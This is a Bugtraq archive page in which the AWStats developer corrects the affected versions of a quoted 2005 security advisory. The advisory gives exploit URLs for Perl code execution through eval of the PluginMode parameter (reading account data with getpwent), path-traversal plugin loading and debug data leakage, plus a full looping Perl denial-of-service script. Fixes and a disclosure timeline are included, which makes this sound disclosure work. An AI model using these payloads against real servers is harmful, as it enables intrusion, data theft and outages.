Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: AWStats <= 6.4 Multiple vulnerabilities
From: Laurent Destailleur <eldy () users sourceforge net>
Date: 3 May 2005 22:26:44 -0000

In-Reply-To: <20050214081040.3370.qmail () www securityfocus com>

Received: (qmail 16782 invoked from network); 14 Feb 2005 18:00:47 -0000
Received: from outgoing.securityfocus.com (HELO outgoing3.securityfocus.com) (205.206.231.27)
 by mail.securityfocus.com with SMTP; 14 Feb 2005 18:00:47 -0000
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
      by outgoing3.securityfocus.com (Postfix) with QMQP
      id 01F1F236F68; Mon, 14 Feb 2005 10:27:21 -0700 (MST)
Mailing-List: contact bugtraq-help () securityfocus com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq () securityfocus com>
List-Help: <mailto:bugtraq-help () securityfocus com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe () securityfocus com>
List-Subscribe: <mailto:bugtraq-subscribe () securityfocus com>
Delivered-To: mailing list bugtraq () securityfocus com
Delivered-To: moderator for bugtraq () securityfocus com
Received: (qmail 27084 invoked from network); 14 Feb 2005 00:57:36 -0000
Date: 14 Feb 2005 08:10:40 -0000
Message-ID: <20050214081040.3370.qmail () www securityfocus com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.411 (Entity 5.404)
From: GHC () www securityfocus com,
      [ru] () securityfocus com@www.securityfocus.com <foster () ghc ru>
To: bugtraq () securityfocus com
Subject: AWStats <= 6.4 Multiple vulnerabilities


Must read AWStats <= 6.3. Version 6.4 is not affected.



/*==========================================*/
// GHC -> AWStats <- ADVISORY
\\ PRODUCT: AWStats      
// VERSION: <= 6.3
\\ URL: http://awstats.sourceforge.net/
// VULNERABILITY CLASS: Multiple vulnerabilities
\\ RISK: high
/*==========================================*/

[Product Description]
"AWStats is a free powerful tool that generates advanced web, ftp or mail server statistics, graphically. 
This log analyzer works as a CGI or from command line and shows you all possible information your log contains, 
in few graphical web pages". 
Current stable version: AWStats 6.3 final  
Development version is 6.4 - 2005-02-06 14:31

Version 6.4 release is not affected.


[Summary]
Successful exploitation of an input validation vulnerability in AWStats scripts
allows attackers to execute limited perl directives under the privileges of
the web server, get sensetive information. 
Some actions of the attacker can lead to denial of service.

[Details]
Some AWStats's functions can be extended with plugins.
Two variables (loadplugin & pluginmode) are dealing with it. 
The first one (loadplugin) is responsible for plugins list (plugin1, plugin2); the second one
runs plugin's functions. 

Exploitable example (raw log plugin):
http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog  

Server answer:
192.*.*.* - - [26/Jan/2005:11:01:41 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 500 606
192.*.*.* - - [26/Jan/2005:11:03:54 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 500 606
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/style.css HTTP/1.1" 200 2986
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 200 7710
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/logo.gif HTTP/1.1" 200 14443
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /images/xml.gif HTTP/1.1" 200 429
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /images/pb_yawps.gif HTTP/1.1" 200 2532
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/valid-html401.gif HTTP/1.1" 200 2250
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/vcss.gif HTTP/1.1" 200 1547
192.*.*.* - - [26/Jan/2005:11:08:06 +0300] "GET /cgi-bin/forum.cgi HTTP/1.1" 200 7333
192.*.*.* - - [26/Jan/2005:11:08:11 +0300] "GET /cgi-bin/links.cgi HTTP/1.1" 200 7588
192.*.*.* - - [26/Jan/2005:11:08:12 +0300] "GET /cgi-bin/top10.cgi HTTP/1.1" 200 7910
192.*.*.* - - [26/Jan/2005:11:08:17 +0300] "GET /cgi-bin/admin.cgi HTTP/1.1" 200 7340
192.*.*.* - - [26/Jan/2005:11:08:33 +0300] "GET /yawpsnews.xml HTTP/1.1" 200 153    

The dangerous fact is that attacker can read sensitive information such as
IP address, admin scripts names, non encoded GET queries, etc. 

Our variables pass some verification (as others), but it is not enough for security:

sub Sanitize {
my $stringtoclean=shift;
$stringtoclean =~ s/[^\w_\-\\\/\.:\s]//g;
return $stringtoclean;
}

Deletes everything but '_', '-', '\', '/', '.', ':' and any blank symbol. 
It's enough for variables with path to configuration files, but not for plugin tasks.
In case of "loadplugin" & "pluginmode" developers obviously have a lot of trust to the user.

So, let's see what can be done, in fact.

[1] Perl code execution.
http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent

we'll get the action in next piece of code:

# AWStats output is replaced by a plugin output
if ($PluginMode) {
my $function="BuildFullHTMLOutput_$PluginMode()";
eval("$function");
if ($? || $@) { error("$@"); }
&html_end(0);
exit 0;
}

If variable exists, we'll get code execution. This happens after sanitizing (see privious).
Here we have intresting part in:
    my $function="BuildFullHTMLOutput_$PluginMode()";
    eval("$function");

This is subroutine call (As example sub BuildFullHTMLOutput_rawlog() from
rawlog.pm plugin).
Ideal case: "module name"::BuildFullHTMLOutput_"function name"().
But if we won't specify the name of module (with "loadplugin" parameter) we'll get the next:

main::BuildFullHTMLOutput_"function name"().

By the way, there is permited symbol ':' in user input parameters. So, we can send:

PluginMode=:print+getpwent

And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
This will satisfy eval() requirements., and :print getpwent() is executed.

http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent

Sanitazing limits user's input, but there is no filtration for call sympols '()'.
Here we can see that somebody can perform DoS attack. 
This is example of simple code for successful DoS exploitation:

#!/usr/bin/perl

use IO::Socket;
$server = 'www.example.com';
sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80")
|| die "Error\n";
print $socket "GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "\n\n";
}

while () {
$rp = rand;
&ConnectServer;
}

[BUGFIX]
Change vulnerable code for:

sub PluginSanitize {
my $stringtoclean=shift;
$stringtoclean =~ s/[^\w]//g;
return $stringtoclean;
}


[2] Arbitrary plugin including.
http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib

Arbitrary module from user's input through "loadplugin" parameter can be included with  "require" function..

Bugfix - as above or something like this:

opendir (PDIR, './plugins');
@FilesPDIR = readdir(PDIR);
closedir (PDIR);
foreach $FilesPName (@FilesPDIR) {
if ($FilesPName =~ m/$loadplugin/) {
}
}

The good thing is the poison null-byte (%00) has no place (transferes to 00).

[3] Sensetive information leak in AWStats version 6.3(Stable) - 6.4(Development).
Every user can access debug function:
http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1
http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2
                                                                

[DISCLOSURE TIMELINE]

10-02-2005  Initial vendor notification.
14-02-2005  No response.
14-02-2005  Bug-traq post.             

/* ================================================== */
/* www.ghc.ru -- security games & challenges          */
/* ================================================== */
/* greets to: RST.void.ru, cr0n & all quest hunters %)*/
/* Special respect to e-defense.                      */
/* ================================================== */



  By Date           By Thread  

Current thread:
  • Re: AWStats <= 6.4 Multiple vulnerabilities Laurent Destailleur (May 05)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault